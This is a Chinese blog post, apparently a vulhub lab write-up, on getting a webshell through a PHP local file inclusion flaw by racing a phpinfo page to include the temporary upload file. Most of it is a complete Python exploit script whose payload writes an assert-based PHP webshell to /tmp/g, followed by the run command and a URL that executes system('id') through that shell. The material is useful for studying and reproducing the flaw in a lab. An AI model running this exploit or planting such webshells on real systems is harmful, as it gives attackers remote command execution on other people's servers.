文件包含漏洞在phpinfo条件竞争下获取WebShell

发布时间 2023-10-13 13:10:43作者: hong-34

PHP文件包含漏洞(利用phpinfo与条件竞争)

在PHP环境下,如果网站存在本地文件包含漏洞,但找不到可以包含的文件时,我们可以通过条件竞争来包含缓存文件的方法来获取webshell。又因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。

前提

  • php环境下
  • 存在本地文件包含漏洞
  • 存在一个phpinfo页面
  • 存在条件竞争漏洞

原理

在PHP语言中,如果以multipart/form-data形式上传文件,php会把上传的文件名,临时文件路径等参数保存在$_FILES数组中。又由于文件大小不确定,为了防止文件过大导致的内存开销过大,所以php会将这个文件保存在/tmp目录并以php+6个随机字符来命名。即发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件。并且这个临时文件,在请求结束后就会被立即删除。当有文件包含点,却没有合适的文件包含时我们就可以想办法包含/tmp目录的临时文件,而这个文件的内容是可以通过POST数据包控制的。

然而文件名具有随机性,且文件存活时间太短,如何才能快速的在缓存文件被删除之前找到它呢?这时候就需要phpinfo文件了,因为phpinfo页面会将当前请求上下文中所有变量都打印出来,所以如果我们向phpinfo页面发送包含文件区块的POST数据包,再查询页面打印出来的$_FILES数组,自然就可以精确的获得缓存的文件名。但文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,再将这个文件名发送给文件包含漏洞页面,进行getshell。在第一个请求结束时,临时文件就被删除了,第二个请求自然也就无法进行包含。这个时候就需要用到条件竞争了。

我们需要让网站不要一次性把页面内容返回,而是慢慢返回。由于php默认的输出缓冲区大小为4096B,可以理解为php每次只给socket连接返回4096B,我们只需要在读取到缓存文件名时立即发送第二个关于文件包含的请求。此时,第一个请求的内容还没有返回完毕,会话没有结束,缓存文件还没有删除,于是我们就成功的包含了。

流程

  1. 发送第一个数据包给phpinfo页面,这个数据包采用multipart/form-data格式将需要包含的文件的内容填充在文件内容区域。同时该数据包的header、get等位置需要塞满大量垃圾数据,用来将phpinfo页面撑得非常大。
  2. php默认的输出缓冲区大小为4096B,可以理解为php每次返回4096B给socket连接。 所以我们直接操作原生socket,每次读取4096个字节。只要读取到的字符里包含临时文件名,就立即发送第二个数据包。
  3. 此时,第一个数据包的socket连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
  4. 利用这个时间差,快速将第二个数据包,也就是文件包含请求的数据包发送到服务器,即可成功包含临时文件,最终getshell(因为php代码运行在内存中,所以只需要成功包含一次,就算缓存文件被删除也没关系)。

漏洞环境

使用vulhub

/app/vulhub-master/php/inclusion

使用docker启动

1.docker-compose build
2.docker-compose up -d

漏洞复现

环境启动后,访问http://your-ip:8080/phpinfo.php即可看到一个PHPINFO页面

访问http://your-ip:8080/lfi.php?file=/etc/passwd,可见的确存在文件包含漏洞。

因为该漏洞的利用需要短时间、高并发,所以需要用程序(exp.py)自动化执行实现了上述过程。

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=assert($_REQUEST[1])?>')?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()
                    
            except socket.error:
                return
    

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    
    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():
    
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)
    
    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()
    
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

这段代码构造了我们需要的两个不同的数据包

1.PHP配置信息数据包 (phpinforeq):

  • 发送HTTP POST请求,获取服务器上的PHP配置信息,特别是获取PHP tmp_name 值。
  • 通过请求的内容类型为multipart/form-data,模拟一个文件上传请求。
  • 数据包中包含了一个 PAYLOAD,其中包含了PHP代码,将在服务器上创建一个文件 /tmp/g 用于后续的LFI漏洞利用。
  • 数据包中还包含了一些 HTTP 头信息,同时该数据包的header、get等位置塞满大量垃圾数据,用来将phpinfo页面撑得非常大

2.LFI利用数据包 (lfireq):

  • 这个数据包是一个HTTP GET请求,用于利用服务器上的本地文件包含(LFI)漏洞。
  • 数据包中的 fn 参数用于指定要包含的文件名,它通过之前的PHP配置信息请求(phpinforeq)获取到的 tmp_name 值。
  • 此数据包将请求发送到 lfi.php 页面,并将 file 参数设置为获取的文件名 fn。
  • 通过这个数据包,攻击者可以利用LFI漏洞,将服务器上的文件包含到响应中。

用python执行:python2 exp.py your-ip 8080 100

成功包含临时文件后,会执行<?php file_put_contents('/tmp/g', '<?=assert($_REQUEST[1])?>')?>,写入一个新的文件/tmp/g

利用lfi.php,即可执行任意命令:如http://your-ip:8080/lfi.php?file=/tmp/g&1=system(%27id%27)